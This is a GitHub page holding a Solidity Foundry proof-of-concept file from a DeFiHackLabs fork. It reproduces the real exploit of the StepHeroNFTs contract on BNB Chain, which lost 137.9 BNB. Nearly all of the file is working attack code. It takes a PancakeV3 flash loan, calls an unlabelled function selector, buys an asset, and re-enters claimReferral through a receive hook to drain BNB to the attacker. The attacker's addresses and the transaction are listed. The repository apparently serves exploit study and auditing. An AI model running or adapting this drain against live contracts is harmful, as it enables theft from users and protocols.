forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathStepHeroNFTs_exp.sol
More file actions
111 lines (87 loc) · 3.35 KB
/
StepHeroNFTs_exp.sol
File metadata and controls
111 lines (87 loc) · 3.35 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : 137.9 BNB
// Original Attacker : https://bscscan.com/address/0xFb1cc1548D039f14b02cfF9aE86757Edd2CDB8A5
// Attack Contract(Init) : https://bscscan.com/address/0xd4c80700ca911d5d3026a595e12aa4174f4cacb3
// Attack Contract(Main) : https://bscscan.com/address/0xb4c32404de3367ca94385ac5b952a7a84b5bdf76
// Attack Contract(Buyer) : https://bscscan.com/address/0x8f327e60fb2a7928c879c135453bd2b4ed6b0fe9
// Vulnerable Contract : https://bscscan.com/address/0x9823E10A0bF6F64F59964bE1A7f83090bf5728aB
// Attack Tx : https://bscscan.com/tx/0xef386a69ca6a147c374258a1bf40221b0b6bd9bc449a7016dbe5240644581877
// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
// Contracts involved
address constant pancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;
address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant stepHeroNFTs = 0x9823E10A0bF6F64F59964bE1A7f83090bf5728aB;
contract StepHeroNFTs_exp is Test {
address attacker = makeAddr("attacker");
function setUp() public {
vm.createSelectFork("bsc", 46843424 - 1);
}
function testPoC() public {
vm.startPrank(attacker);
new AttackerC(attacker);
emit log_named_decimal_uint("Profit in BNB", attacker.balance, 18);
}
}
contract AttackerC {
constructor (address to) {
AttackerC1 attC1 = new AttackerC1();
attC1.attack(to);
}
}
contract AttackerC1 {
function attack(address to) external {
Uni_Pair_V3(pancakeV3Pool).flash(
address(this),
0,
1000 ether,
abi.encode(to)
);
}
function pancakeV3FlashCallback(
uint256 fee0,
uint256 fee1,
bytes calldata data
) external {
uint256 loanAmount = IERC20(wbnb).balanceOf(address(this));
WETH(wbnb).withdraw(loanAmount);
stepHeroNFTs.call(abi.encodeWithSelector(
bytes4(0xded4de3a), // ???
address(this),
2008, // id
6, // amount
6, // amount
loanAmount,
bytes32(0), // ???
block.timestamp, // expiry???
18766392275824 // ???
));
AttackerC2 attC2 = new AttackerC2();
attC2.attack{value: loanAmount}();
StepHeroNFTs(stepHeroNFTs).claimReferral(address(0));
IWETH(payable(wbnb)).deposit{value: loanAmount + fee1}();
IERC20(wbnb).transfer(pancakeV3Pool, loanAmount + fee1);
(address to) = abi.decode(data, (address));
payable(to).transfer(address(this).balance);
}
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) external {}
receive() external payable {
if (msg.sender == stepHeroNFTs && msg.value == 3 ether) {
try StepHeroNFTs(stepHeroNFTs).claimReferral(address(0)) {
} catch {
return;
}
}
}
}
contract AttackerC2 {
function attack() external payable {
StepHeroNFTs(stepHeroNFTs).buyAsset{value: 1000 ether}(81122, 1, msg.sender);
}
}
interface StepHeroNFTs {
function buyAsset(uint256 _id, uint256 amount, address tokenBuyer) external payable;
function claimReferral(address) external;
}